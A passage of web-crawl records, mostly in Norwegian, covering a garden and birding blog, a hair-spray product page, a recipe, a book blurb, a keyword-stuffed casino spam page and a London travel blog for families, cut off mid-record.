er tidlig ute, og har rundere knopper enn de andre.  \n  \n\n\n\nGeraniumblad, disse er kule.  \n  \n\n\n\nKubjelle-aktig sak som blir gul, og som jeg heller ikke husker hva heter. M\u00e5 ha en navneoppfrisking tror jeg.  \n  \n\n\n\nEn annen \"Ole Spesial\" har begynt \u00e5 \u00e5pne seg.  \n  \n\n\n\nTulipa Tarda i knopper.  \n  \n\n\n\nEn gentiana ett eller annet, som tydeligvis har tenkt \u00e5 blomstre n\u00e5 snart.  \n  \n\n\n\nDenne her blir fin n\u00e5r den kommer ut\\! Primula, dette ogs\u00e5.  \n  \n\n\n\nOg denne her. Knallfarget primula.  \n  \n\n\n\nStripegress i kul farge  \n  \n\n\n\n\u00a0Fritillariaen har kommet enda litt mer ut i solen:  \n  \n\n\n\nKuleprimula - alltid kul...\n\n       4 kommentarer:        \n\n### Trane og annen fugl p\u00e5 17. mai, hurra\\!\n\n  \n\n\nP\u00e5 tur til jobb p\u00e5 17. mai, s\u00e5 jeg en skygge gjennom buskaset, s\u00e5vidt f\u00f8r autovernet kom i veien. H\u00e6h? Det var da ei mistenkelig feit hegre, det der. Trane? Den m\u00e5 da ha dratt for lenge siden, og den var dessuten ikke her?  \n  \n\n\n\nJo\\! Hipp hipp hurra\\! Jeg stoppet s\u00e5 klart bilen, hoppet ut og gikk p\u00e5 skuddhold (med kamera). Etter hvert kom den fram fra buskaset og lot seg villig fotografere. Rettere sagt, den var s\u00e5 p\u00e5 jakt etter godis i sumpen her, at den ikke brydde seg en d\u00f8yt om meg.  \n  \n\n\n\nHerlig profil p\u00e5 denne. Egentlig mer emu-aktig enn hegreaktig? Stilig stor, er den i hvert fall.  \n  \n\n\n\nSpankulere, spankulere...\u00a0  \n  \n\n\n\nHva er det med den fotografen, skal hun aldri gi seg? G\u00e5r litt utover her, heller.  \n  \n\n\n\nH\u00e6llo \u2013 jeg har IKKE samtykket til fotografering\\!  \n  \n\n\nDrit og dra...  \n  \n\n\n\nFantastisk. P\u00e5 returen s\u00e5 jeg n\u00f8ye etter tranen igjen, for den fl\u00f8y lavt s\u00e5 jeg antar at den ikke har dratt s\u00e5 langt. Men denne gangen s\u00e5 jeg bare hegrer. Og to storlom, som jeg kunne f\u00e5tt fine bilder av dersom jeg hadde hatt mer egnet objektiv. Tranen sto jo like nedenfor veien.  \n  \n\n\n\nR\u00f8dstilk?  \n  \n\n\n\nBrunnakke?  \n  \n17\\. mai er g\u00f8y, i hvert fall fuglemessig. Hipp hurra\\!\n\n       Ingen kommentarer:        \n\n## l\u00f8rdag 16. mai 2015\n\n### \"Ka du glor p\u00e5?\"\n\n\n\nMakro er kult. Dette er knoppene til V\u00e5rkj\u00e6rminne, de er \u00f8rsm\u00e5. Karen som sitter opp\u00e5 her og sp\u00f8r \"Ka du glor p\u00e5?\" er enda mindre. S\u00e5 bare ut som et lite rusk, s\u00e5 det er nok en Ruskomsnusk, dette.\n\n       Ingen kommentarer:        \n\n\n### Blomstrer (og knopper og blad) i dag 9. mai 2015\n\n\n\nJulerose, helleborus. Dukket helt plutselig mystisk opp her \u2013 rart, jeg har jo gitt dem opp for lenge siden. Har ikke v\u00e6rt plantet et av de siste \u00e5rene med andre ord, og ikke blomstret f\u00f8r. Velkommen, f\u00e5r vi si.  \n  \n\n\n\nLiten og s\u00f8t. Rosenrot?  \n  \n\n\n\nDr\u00e5per p\u00e5 blad  \n  \n\n\n\nFritillaria-knopp. Muligens svartkrone.  \n  \n\n\n\nOle Spesial er underveis. Ikke lenge igjen n\u00e5.  \n  \n\n\n\nRosenrota igjen. Den var veldig fin.  \n  \n\n\n\nMer dr\u00e5per.  \n  \n\n\n\nEnda mer dr\u00e5per. Akeleieblader med dr\u00e5per.  \n  \n\n\n\nEn av de fineste primulaene. Husker ikke hva den heter.  \n  \n\n\nMer dr\u00e5pete akeleieblader.  \n  \n\n\n\nStadig nye g\u00e5seflokker flyr over \u2013 det er bare \u00e5 s\u00f8ke dekning imens.  \n  \n\n\n\nEi nygj\u00f8dslet mark. Intet spennende \u00e5 se?  \n  \n\n\n\nJoda, bare man tar en titt litt n\u00e6rmere. Tre heiloer her. De er kule\\!\n\n       Ingen kommentarer:        \n\n## Velkommen\\!\n\nGlimt fra hagen, omr\u00e5det her i flotte Vester\u00e5len, langturer og andre sm\u00e5tterier.  \n\n    \n\n", "language": "no", "__index_level_0__": "933a25c2-a0ce-46e2-8ee4-c0564f25ae57"}
{"url": "https://africanhouse.dk/da/haarspray-44/better-braids-spray-p575", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:35:25Z", "text": "    \n\n# Better Braids Spray\n\n \nBetter Braids Spray, 355 ml\n\nSpray til fletninger\n\nStyrker h\u00e5ret og modvirker sk\u00e5nsomt irritation og kl\u00f8en i hovedbunden. Giver glans og fugt til h\u00e5r og hovedbund.\n\nModvirker filtning. Kan anvendes til forskellige frisurer. Aktiv ingrediens: 2% salicylsyre\n\n Model/varenr.:   WSHOP-575 \n\nBetter Braids Spray, 355 ml\n\nSpray til fletninger\n\nStyrker h\u00e5ret og modvirker sk\u00e5nsomt irritation og kl\u00f8en i hovedbunden. Giver glans og fugt til h\u00e5r og hovedbund.\n\nModvirker filtning. Kan anvendes til forskellige frisurer. Aktiv ingrediens: 2% salicylsyre\n\n", "language": "no", "__index_level_0__": "72161d80-dc83-408b-955a-12a82f74ee2d"}
{"url": "https://digitaltmuseum.org/021025564351/teppe", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:46:32Z", "text": "  - Det norske riksv\u00e5penet (ikke kongev\u00e5penet som har en v\u00e5penkappe rundt skjoldet) i versjonen fra 1905 med den lille oppvoksende l\u00f8ven bak rikseplet p\u00e5 toppen av kongekronen. V\u00e5penet omgitt av norske flagg og to laurb\u00e6rgrener i en krans\n    \n    **Hans Cappelen**, January 25, 2015\n\n", "language": "no", "__index_level_0__": "c365754e-22db-441b-b3d3-cb4bd3735a68"}
{"url": "https://www.haugenbok.no/Fagboeker/Organisasjon-ledelse-administrasjon/Etablering-og-ledelse2/I9788292284803", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-25T00:01:48Z", "text": "# Etablering og ledelse\n\nEtablering og ledelse handler om ledelse og organisasjon, markedsf\u00f8ring og \u00f8konomi. Boka er bygget opp etter kravene i Etablering og ledelse til mesterpr\u00f8ven og faget Ledelse, \u00f8konomi og markedsf\u00f8ring (L\u00d8M) ved teknisk fagskole. Boken kombinerer alle tre fagene og fellesboka gj\u00f8r det lettere \u00e5 \u2026   LES MER  integrere fagene slik at innl\u00e6ringen i st\u00f8rre grad samsvarer med den virkelighet elevene m\u00f8ter p\u00e5 eksamen og i det praktiske liv. Den er bygget opp slik at stoffet frem til tolvte kapittel stort sett dreier seg om ledelse, mens kapitlene fram til 18 omhandler markedsf\u00f8ring. \u00d8konomidelen starter fra og med kapittel 19. Du l\u00e6rer stoffet best ved \u00e5 l\u00f8se oppgaver gjennom hele kurset. Vi har derfor laget en egen oppgavesamling (Etablering og ledelse - ledelse og markedsf\u00f8ring og \u00f8konomi til mesterpr\u00f8ven, oppgavesamling) til boka. LES MINDRE    Forlagets omtale Forlagets Etablering og ledelse handler om ledelse og organisasjon, markedsf\u00f8ring og \u00f8konomi. Boka er bygget opp etter kravene i Etablering og ledelse til mesterpr\u00f8ven og faget Ledelse, \u00f8konomi og markedsf\u00f8ring (L\u00d8M) ved teknisk fagskole. Boken kombinerer alle tre fagene og fellesboka gj\u00f8r det lettere \u00e5 integrere fagene slik at innl\u00e6ringen i st\u00f8rre grad samsvarer med den virkelighet elevene m\u00f8ter p\u00e5 eksamen og i det praktiske liv. Den er bygget opp slik at stoffet frem til tolvte kapittel stort sett dreier seg om ledelse, mens kapitlene fram til 18 omhandler markedsf\u00f8ring. \u00d8konomidelen starter fra og med kapittel 19. Du l\u00e6rer stoffet best ved \u00e5 l\u00f8se oppgaver gjennom hele kurset. Vi har derfor laget en egen oppgavesamling (Etablering og ledelse - ledelse og markedsf\u00f8ring og \u00f8konomi til mesterpr\u00f8ven, oppgavesamling) til boka. \n\nEmner: Mesterpr\u00f8ven \u00d8konomi og administrasjon Ledelse\n\n", "language": "no", "__index_level_0__": "d5d39c92-efa5-4c1b-9400-cccba8e0c330"}
{"url": "https://www.diplom-is.no/oppskrifter/iskrem-sandwich", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:16:55Z", "text": " \n\n \n4 personer\n\nDu trenger\n\n  - 16 store sjokoladecookies\n  - 1 boks Dream Vanilje og/eller Dream Cookie Dough\n  - Til cookies med sjokoladebiter: (ca. 30 stk)\n  - 225 g sm\u00f8r, romtemperert\n  - 300 g sukker (200 g brunt sukker og 100 g hvitt sukker)\n  - 2 egg\n  - 1 ts vaniljesukker\n  - 1 ts natron\n  - 0,5 ts salt\n  - 325 g hvetemel\n  - 3,5 dl sjokoladelinser eller grovhakket kokesjokolade\n\nIskrem-sandwich er en herlig og leken variant som frister b\u00e5de sm\u00e5 og store. Lag gjerne to ulike varianter, b\u00e5de med Dream Vanilje og Dream Cookie Dough, s\u00e5 har du noe for enhver smak. Med hjemmelagede kjeks f\u00e5r du den ekstra lille prikken over isen.\n\nSlik gj\u00f8r du:\n\nForvarm stekeovnen til 180 \u00b0C.\n\nBland sammen sm\u00f8r og sukker i en foodprosessor, eller pisk sammen med en h\u00e5ndvisp.\n\nPisk inn eggene, og deretter vaniljesukker, hvetemel, natron og salt. Bruk en sleiv og r\u00f8r sjokoladebitene inn i blandingen. Sett deigen kj\u00f8lig i ca. 30 min.\n\nKle en stekeplate med bakepapir og sett topper med deig p\u00e5 platen ved hjelp av to teskjeer. Sett deigen med ca. 5 cm mellomrom, kjeksen flyter litt ut under steking.\n\nStekes midt i ovnen ved 180 \u00b0C i 8-12 min,\n\nsteketiden avhenger av ovnen din og hvor store kjeks du lager. Kjeksene skal v\u00e6re lyse men en gyldenbrun farge i kantene. Avkj\u00f8l kjeksene.\n\nF\u00f8r du begynner \u00e5 montere sandwichene b\u00f8r du legge kjeksene litt i fryseren, og ta opp iskremen fra fryseren slik at den rekker \u00e5 mykne litt.\n\nBruk en bred sm\u00f8rekniv eller lignende, og sm\u00f8r et godt lag med iskrem p\u00e5 den ene kjeksen. Legg p\u00e5 en kjeks til og klem lett.\n\nBruk en teskje eller en sm\u00f8rekniv til \u00e5 dytte inn ekstra iskrem rundt sandwichen.\n\nGjenta med de resterende kjeksene. Legg sandwichene raskt i fryseren f\u00f8r du serverer, eller spis med \u00e9n gang\\!\n\n\u00a0\nIkke stek kjeksene for lenge - det er meningen at de skal v\u00e6re myke ogs\u00e5 n\u00e5r de er avkj\u00f8lte.\n\nCookieoppskriften gir ca. 30 store cookies \u2013 legg resten i en tett boks eller i fryseren, s\u00e5 har du deilige kjeks til neste gang du har lyst p\u00e5 noe godt.\n\nIskrem-sandwich smaker aller best med egne hjemmelagede cookies, men det finnes ogs\u00e5 mange gode kj\u00f8pekjeks.\n\n  \n **Finn** din favorittsmak \n\n  -   **Jordb\u00e6r** \n  -   **Kaffe** \n  -   **Pecan** \n  -   **Krokan** \n  -   **Kake** \n  -   **Karamell** \n  -   **Appelsin** \n  -   **Skogsb\u00e6r** \n  -   **Hasseln\u00f8tt** \n  -   **P\u00e6re** \n  -   **Pistasj** \n  -   **Lakris** \n  -   **Banan** \n  -   **Bringeb\u00e6r** \n  -   **Sjokolade** \n  -   **Jordb\u00e6r** \n  -   **Ananas** \n  -   **Sitron** \n  -   **Eple** \n", "language": "no", "__index_level_0__": "2abf23a5-2738-4623-a87f-7d4321dd4075"}
{"url": "http://mangabrazin.info/eshki-igrat-besplatno/62", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:43:41Z", "text": "## Casino roulette tactics\n\nNLY Man Kl\u00e6r for motebevisste menn. Utvalget gj\u00f8r at alle finner automater de liker, og at man aldri g\u00e5r lei av spilleautomater. Man kan jo bare bytte til en annen, dersom man vil ha litt variasjon. En av fordelene med nettkasinoer, er at selv om det lanseres nye spill, s\u00e5 erstatter de ikke de gamle spillene. Hvis du kommer til bonusspillet 20 ganger, kan du oppn\u00e5 Gullstatus. Det er de mest kjente Norr\u00f8ne gudene som dukker opp p\u00e5 hjulene ogs\u00e5, sammen med vanlige spilleautomatsymboler. Thunderstruck 2 er oppf\u00f8lgeren, og har blitt en stor suksess etter lanseringen i 2010. N\u00e5r Odin dukker opp i spillet, kan han sende ut ravnene sine. Her finner du pekere til online butikker som selger kl\u00e6r til kvinner, menn, barn og babyer.\n\n## Casino Alesund\n\nDette falt trolig ikke i *gowild casino* god jord hos de som jobbet i gruvene, de mente nok at slot wild turkey han var p\u00e5 deres enemerker. Dermed var det bare \u00e5 fortsette. En bedre frokost ble inntatt og lunsjbokser pakket f\u00f8r vi startet mot Lake Manyara. Etter historietimen fikk vi v\u00e6re med p\u00e5 en safari til fots, gowild casino med Masaier som guider. Luktene ble temmelig overveldende n\u00e5r det var s\u00e5 varmt. Pga v\u00e6ret viste det seg at de la om ruta, men vi var heldige for paradene gikk en p\u00e5 hver side av oss. Tilbake p\u00e5 hotellet for en lett lunsj f\u00f8r vi henter leiebil gowild casino p\u00e5 flyplassen. P\u00e5 vei til frokostplassen var det s\u00f8te sm\u00e5 striped boundes mungos, dick dicker og noen b\u00f8ffeler. N\u00e5r temperaturen ogs\u00e5 passerer 40 grader, s\u00e5 fristet det ikke akkurat med spaserturer heller.\n\nEttertrykk av materiale er kun mulig med tillatelse fra redaksjonen. Alle ansvar for innholdet i anmeldelsen hviler med kommentatorer. NETELLER er en praktisk og p\u00e5litelig online betalingssystem som lar deg \u00f8yeblikkelig bli med Forex konto og ta ut overskudd som de gj\u00f8r. Prepaid MasterCard som du raskt kan ta ut inntektene til n\u00e6rmeste MINIBANK. F\u00f8r du foretar transaksjoner du b\u00f8r gj\u00f8re deg kjent med den risiko som de er tilknyttet, no. Redaksjonelle bin\u00e6re alternativet Meglere er ikke ansvarlig for innhold av brukeren kommentarer.\n\n\n\nBegivenheten ble presentert for f\u00f8rste gang tidlig i under en stor gambling messe i London, Netent Rocks ble for f\u00f8rste gang presentert for alt som kan krype og g\u00e5 av eiere og ledere i casinoer p\u00e5 nett og i kasinobransjen. Det har passert mye vann under broen siden den gang og de spillene som utvikles i dag er mye mer sofistikerte og nesten hver eneste spilleautomat som NetEnt lanserer til markedet kommer med en eller annen nyhet eller innovasjon. Netent Rocks tar casino online litt lenger, n\u00e5 skulle noen av verdens st\u00f8rste stjerner f\u00e5 sin egen spilleautomat. NetEnt har som sagt lenge v\u00e6rt et av markedets mest popul\u00e6re merker p\u00e5 markedet for casino p\u00e5 nett og de har spist en stor del av markedsandelen fra giganten Microgaming. Netent Casino er et kallenavn som mange bruker n\u00e5r de snakker om casino online. Mange nordmenn fikk derfor et veldig kj\u00e6rt forhold til Netent og Netent casinoer allerede fra f\u00f8rste stund.\n\n## Casino skins\n\nMed unntak av nettsider som er ekstremt trege i sine utbetalingsprosesser, south park spilleautomat s\u00e5 kan dette v\u00e6re den st\u00f8rste faktoren for hastigheten p\u00e5 gowild casino uttaket. De kan variere mye mellom de forskjellige nettsidene. Noen ganger er spillselskaper spesielt trege med utbetalingene sine, selv om vi hensyntar alle faktorene nevnt ovenfor. Som beskrevet ovenfor, s\u00e5 ville selv et firma som \u00f8nsker \u00e5 ha tilby umiddelbare uttak f\u00e5tt vanskeligheter med \u00e5 gj\u00f8re dette. Dette gjelder spesielt for bankoverf\u00f8ringer og sjekker, som har behandlingstid som selv i gowild casino beste fall kan g\u00e5 over dager. De fleste av dem handler sannsynligvis om selve spillene. Det kan ogs\u00e5 v\u00e6re du finner andre uttaksmetoder tilgjengelig hos nettsidene du \u00f8nsker \u00e5 spille hos. N\u00e5r du starter spilling hos et nettcasino er det mulig du har en rekke sp\u00f8rsm\u00e5l.\n\nEn annen temmelig rask metode for \u00e5 f\u00e5 gevinstene dine er gjennom bankoverf\u00f8ring.\n\n## Online casinoer archives\n\nTry hundreds beste norske online casino of gowild casino popular slot machines for free\\!. NetEnt lanserte Super Eighties i 2010, og gowild casino det ble umiddelbart en favoritt blant norske nettspillere. Du f\u00e5r ikke mere moro enn du lager sj\u00e6l, og med Super Eighties gowild casino har du sjansen til \u00e5 vinne bra med penger hjemme fra sofaen. Kanskje s\u00f8ker du etter gratis spinn eller free spins som det ogs\u00e5 heter p\u00e5 dette flotte spillet.\n\n\u00a0\nAv redakt\u00f8r Morten St\u00f8vre\n\n", "language": "no", "__index_level_0__": "e919f05e-20c0-44b8-9651-43d9881cab02"}
{"url": "http://blog.londontown.no/page/5/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:48:14Z", "text": "**\n# Velkommen til London\n\ndet personlige reisebyr\u00e5et \u2013 med tips og anbefalinger p\u00e5 din London reise\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Her er flere spennende aktiviteter for barna i London\n\n**London Eye:**\u00a0Verdens st\u00f8rste pariserhjul ligger midt i sm\u00f8r\u00f8yet p\u00e5 s\u00f8rsiden av Themsen. \u00abFlighten\u00bb tar en halvtime. Kj\u00f8p billett p\u00e5 nettet p\u00e5 forh\u00e5nd, da slipper du unna med en k\u00f8. Rundturen koster ca. 150 kroner.\n\n**\u00c5pent:**\u00a09.30-20 p\u00e5 vinteren.\n\n**Science Museum:**  \nEr det mest spennende stedet for barn i London med interaktive utstillinger om vitenskapens verden gjennom \u00e5rhundrer. Gratis inngang, men man m\u00e5 betale for enkelte attraksjoner.  \n**Adresse:**\u00a0Exhibition Road.  \n**\u00c5pent:**\u00a010-18 alle dager.  \n**P\u00e5 nett:**www.sciencemuseum.org.uk\n\n**Hamleys:**\u00a0Seks etasjer med ren moro, spill, kosedyr og rare ting man ikke visste fantes. Butikken \u00e5pnet i 1881 og ligger i \u00e6rverdige lokaler, like ved Piccadilly Circus.  \n**Adresse:**\u00a0188-196 Regent Street  \n**\u00c5pent:**\u00a0Man-fre 10-20, l\u00f8rdag 09-20,  \ns\u00f8ndag 12-18. P\u00e5 nett:\u00a0www.hamleys.com\n\n**The Lion King:**\u00a0Disneys ber\u00f8mte musikal om L\u00f8vekongen, til musikk av Elton John, g\u00e5r p\u00e5 Lyceum Theatre. If\u00f8lge kritikerne er dette en av de flotteste musikalene som er laget. Den varer i to timer og 50 minutter, og koster fra 350 kroner.  \nSpilles: P\u00e5 kveldstid tir-l\u00f8r kl. 19.30. Matin\u00e9 on. og l\u00f8. kl. 14, s\u00f8ndag kl. 15.  \n**Adresse:**\u00a021 Wellington Street, i n\u00e6rheten av Covent Garden.\n\n**London Zoo:**\u00a0\u00c5pnet i 1828 som verdens f\u00f8rste vitenskapelige dyrehage. Charles Darwin var mye her i sin ungdom.  \nPriser: Ca. 170 kr. for voksne, 140 kr. for barn mellom tre og 15 \u00e5r, gratis for barn under tre \u00e5r. Familiepass for fire koster ca. 550 kr.  \n**\u00c5pent:**\u00a010-16 i perioden januar-mars.  \n**Adresse:**\u00a0Outer Circle, Regent's Park.\n\n**Madame Tussauds:**\u00a0Like popul\u00e6r n\u00e5 som da det \u00e5pnet for 200 \u00e5r siden. Her m\u00f8ter du alt fra dronningen til kjente fotballspillere og filmstjerner.  \nPriser: 190 kr. for voksne, 150 kroner for barn mellom fem og 15 \u00e5r, gratis for barn under  \nfem \u00e5r.  \n**Adresse:**\u00a0Marylebone Road, to minutter fra undergrunnsstasjonen Baker Street.\n\n**Dianas lekepark:**\u00a0Parken \u00e5pnet i 2000, til minne om prinsesse Diana. Parken har Peter Pan som tema. Midt i ligger et stort sj\u00f8r\u00f8verskip i tre, omgitt av en sandstrand. Gratis inngang.  \nAdresse: Kensington Gardens, i et hj\u00f8rne av Hyde Park. N\u00e6rmeste undergrunn er  \nQueensway.  \n**P\u00e5 nett:**www.royalparks.org.uk\n\n**Natural History Museum:**\u00a0Her kan man se utstillinger av dinosaurer og andre forhistoriske dyr. Mest spennende er den br\u00f8lende Tyrannosaurus Rex-roboten i full st\u00f8rrelse som r\u00f8rer p\u00e5 seg. Gratis inngang.  \n**Adresse:**\u00a0Cromwell Road  \n**P\u00e5 nett:**www.nhm.ac.uk\n\nby email@example.com - 27. november 2015\n\n## Butikkene barna elsker\n\nSyv etasjer med bare leker? Det er spesielt \u00e5 komme inn i verdens st\u00f8rste leket\u00f8ybutikk\\!  \n**Hamleys i Regent Street**\u00a0er verdens st\u00f8rste og beste leket\u00f8ysbutikk, og rommer syv etasjer med leker. N\u00e5r barna er med, er det bare \u00e5 sette av god tid. Hamleys har eksistert i 250 \u00e5r og er en turistatattraksjon i seg selv \u2013 med fem millioner bes\u00f8kende hvert \u00e5r. Vet du ikke hva du vil ha eller hvordan du skal finne fram, er det bare \u00e5 sp\u00f8rre de ansatte som hjelper deg \u00e5 gj\u00f8re unna shoppingen.\n\n**Disney Store**\u00a0ligger ved siden av Hamleys og er en stor favoritt for deg som elsker Donald. Servicen er god, og du f\u00e5r raskt hjelp til \u00e5 finne det du er ute etter, enten det er rett st\u00f8rrelse p\u00e5 en Spiderman-drakt eller hjelp til \u00e5 finne en matboks. V\u00e6r oppmerskom p\u00e5 at de i kassa pr\u00f8ver \u00e5 pushe p\u00e5 deg mer fancye poser og Disney figurer. Dette er garantert et salgstriks som du ikke tjener s\u00e5 mye p\u00e5.\n\n**Med barna p\u00e5 tur bor du billigst p\u00e5 Park Plaza**  \n**Familie hotell. Barna bor og spiser gratis.\u00a0**  \nDette 4-stjerners luksushotellet, Park Plaza County Hall London hotell, som har sin beliggenhet stenkast unna London Eye og London sentrum og er perfekt for deg som reiser med barn. Hotellet ligger kun f\u00e5 minutter fra mange av London's favorittattraksjoner inkludert Big Ben, London Eye og House of Parliament.  \nOpp til 2 barn under 12 \u00e5r bor gratis inkl. frokost i en studio med 2 betalende voksne  \nPark Plaza County hall hotell\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Nerdeguide til London\n\nDoctor\u2026 Who? Britiske Doctor Who er tidenes lengstg\u00e5ende TV-serie, og i november g\u00e5r 50-\u00e5rsjubileet av stabelen i London. I den anledning presenterer vi en guide til nerdenes London, eller mer n\u00f8yaktig; Spennende opplevelser i London inspirert av britiske TV-serier og filmer.\n\nDet er ikke bare Doctor Who som har dedikerte fans i og utenfor England. Ta for eksempel kjente karakterer som Harry Potter, James Bond og Sherlock Holmes, og du har millioner av fans verden over. Det er heller ikke lenge siden Warner Bros. Studio \u00e5pnet d\u00f8rene for en Harry Potter Tour av de sjeldne. Sm\u00e5nerdete fans og andre interesserte kan g\u00e5 en spennende tid i m\u00f8te, i en by som vet \u00e5 verdsetter de litt ?quirky? og ?geeky? av oss.\n\n****Doctor Who.**** Uansett om du er en vaskeekte Whoovian, eller passe fascinert av Doktoren som reiser i tid og rom i sin bl\u00e5 telefonboks, er London byen for deg. N\u00e6rmere bestemt BBC-huset i West End. Her kan du v\u00e6re med p\u00e5 en guidet tur, og kanskje spotter du ogs\u00e5 en Dalek eller to. Jubileumsfeiringen 23. november vil foreg\u00e5 i Londons Excel med plass til 15.000 bes\u00f8kende. Tre dager til ende feires den popul\u00e6re kultserien, og alt er duket for en stjernespekket og fargerik sammenkomst.\n\n****Hvor:**** BBC, Portland Place / Excel London, 1 Western Gateway, Royal Victoria Doc.\n\n****Kleskode:**** For \u00e5 komme inn i karakter hjelper det \u00e5 hente inspirasjon fra viktoriansk tid, hvor fl\u00f8yelsesjakker, stripete m\u00f8nstre og selskapsl\u00f8yfer gjerne utgjorde antrekket.\n\n****Sherlock Holmes.**** B\u00e5de Hollywood og BBC har hatt suksess med sine Sherlock Holmes-konsepter, og populariteten til detektiven fra 221b Baker Street fortsetter stadig \u00e5 \u00f8ke. P\u00e5 nevnte adresse i London finner du Sherlock Holmes museet, hvor f\u00f8rste etasje er beholdt i viktoriansk stil. Utenfor st\u00e5r bronsjestatuen av detektiven som er blitt et popul\u00e6rt motiv p\u00e5 mangfoldige turistbilder. I Charings Cross kan du nyte en drink p\u00e5 selveste The Sherlock Holmes Pub.\n\n****Hvor****: Museum, 221b Baker Street / Pub, 10 Northumberland Street.\n\n****Kleskode****: Spesielt etter BBCs suksesserie ?Sherlock? har detektivfrakken blitt ettertraktet igjen, og den originale er \u00e5 finne her. Husk ogs\u00e5 sixpencen for en autentisk look.\n\n****Harry Potter.**** B\u00f8kene til J. K. Rowling er elsket over hele verden, og magiverdenen hun har skapt er nesten til \u00e5 ta og f\u00f8le p\u00e5. *_Nesten._* Du kommer allikevel ganske n\u00e6re om du tar turen til Warner Bros. Studio, 20 minutter utenfor London. Her f\u00e5r du muligheten til \u00e5 se scenesett, kostymer og andre godsaker fra filminnspillingene. Fra 25. mai til 2. juni har du i tillegg muligheten til \u00e5 m\u00f8te dyrene (les. katter og ugler) som har v\u00e6rt med i filmene.\n\n****Hvor:**** Warner Bros. Studio, Leavesden, Watford, Hertfordshire.\n\n****Kleskode:**** Ekte fans vil m\u00f8te opp til studioturen if\u00f8rt frakk og tryllestav, men med en enkel, hvit skjorte og (stripete) slips glir du ogs\u00e5 lett inn i Galtvorts ganger.\n\n****James Bond.**** Agent 007 i britiske M16 er helten som alltid redder dagen. Opprinnelig skapt av Ian Flemming i 1953 for s\u00e5 \u00e5 bli tatt videre til lerretet der 2012?s Skyfall er den nyeste filmen i rekken.\u00a0 Det finnes en rekke guidede turer til steder i London hvor agenten har satt sitt fottavtrykk. Denneboka tipser for eksempel om hele 250 plasser som er relatert til James Bond. F\u00e5 ogs\u00e5 med deg huset hvor Ian Fleming skrev de fleste James Bond-b\u00f8kene.\n\n****Hvor****: Ian Flemings leilighet, 16 Victoria Square, London.\n\n****Kleskode:**** James Bond ses sjelden i andre antrekk enn dress, og ikke minst har han kule gadgets i form av klokker og penner med skjulte bruksomr\u00e5der.\n\nby email@example.com - 27. november 2015\n\n## Bes\u00f8k Dowton Abbey utenfor London\n\n**Highclere Castle\u00a0**  \nHighclere Castle er hjemmet til Earl og Grevinnen av Carnarvon og ogs\u00e5 innspillingssted for Downton Abbey, den sv\u00e6rt vellykkede dramaserie med over 11 millioner seere i Storbritannia og n\u00e5 vist i over 100 land rundt om i verden.  \nDownton Abbey er en britisk periodedramaserie fra 2010. Den ble produsert av Carnival films for TV-selskapet ITV. Serien ble skapt og hovedsakelig skrevet av den Oscar-vinnende forfatteren Julian Fellowes.\n\nHandlingen er lagt til fiktive Downton Abbey, Jarlen av Granthams herreg\u00e5rd, i begynnelsen av kong George Vs regjeringstid.  \nSerien f\u00f8lger livene til den aristokratiske Crawley-familien og dens tjenere. Highclere Castle i Hampshire ble brukt som Downton Abbey, og tjenernes stuer ble bygd og filmet i Ealing Studios.  \nLandsbyen Bampton i Oxfordshire ble anvendt til utend\u00f8rsscenene (St. Mary's Church og landsbybiblioteket).  \nDen f\u00f8rste serien ansl\u00e5s \u00e5 ha kostet \u00a3 1 million i timen \u00e5 filme, noe som gj\u00f8r den til Storbritannias dyreste TV-serie. Den er ogs\u00e5 det mest popul\u00e6re britiske periodedramaet siden Gjensyn med Brideshead med mer enn 10 millioner tittere.  \nBlant skuespillerne finner vi Dame Maggie Smith, Hugh Bonneville samt Elisabeth McGowern.\n\n**Bli med oss:**  \nVi kan n\u00e5 tilby deg Downton Abbey dagstur med Christ Church College Tour i Oxford.  \nSe filmingsteder fra den prisbel\u00f8nte \u00abDownton Abbey\u00bb TV-serien og flere Harry Potter-filmene p\u00e5 en fulldags tur fra London.  \nF\u00f8rst bes\u00f8ker vi Oxford by (1,5 t busstur). Under bussturen har vi med guide, som forteller underveis til Oxford. Vel framme f\u00e5r du en omvisning i Oxford, og kan innta lunch her. S\u00e5 g\u00e5r turen videre til Highclere Castle hvor innspillingen av Dowtown Abbey skjer.  \nHer vil vi f\u00e5 en omvisning f\u00f8r du kan vandre rundt p\u00e5 egenh\u00e5nd.  \nDette er en heldagstur, og du hentes utenfor hotellet p\u00e5 morgenen. Turen inkluderer busstransport, og inngang til de ulike severdigheter.\n\n**Desverre er Dowton Abbey kun \u00e5pent i begrensede perioder pga TV-innspilling.  \nDet er MEGET stor p\u00e5gang p\u00e5 billetter, s\u00e5 her blir det fort utsolgt.**\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Hvor i London kan man f\u00e5 tak i glutenfri mat ???\n\nMona Myhre lurer p\u00e5 f\u00f8lgende:  \nHvor i London kan man f\u00e5 tak i glutenfri mat??? \u00d8nsker tips til matbutikker, restauranter osv?\n\nDu finner endel tips her: http://www.viewlondon.co.uk/restaurants/gluten-free-restaurants-in-london-recommended-london-277.html\n\nHer er ogs\u00e5 endel tips jeg har f\u00e5tt fra c\u00f8liaki forbundet i England:\n\nIn the UK, you can buy gluten-free foods from the major supermarkets in the ?Free From? aisle. The main ones are Tesco, ASDA, Morrison?s and Sainsbury?s. Also, many foods display a gluten-free symbol which is helpful. There are also health food stores such as Julian Graves and Holland & Barratt, which usually stock gluten-free foods. There is generally a good range available so buying gluten-free food should not be a problem.\n\nAll pre- packaged food bought in the UK are covered by the current EU wide food labelling legislation. This means that a gluten-containing cereal used as a deliberate ingredient in a product must appear on the ingredients list, regardless of the amount used.\n\nManufacturers will name the particular grain 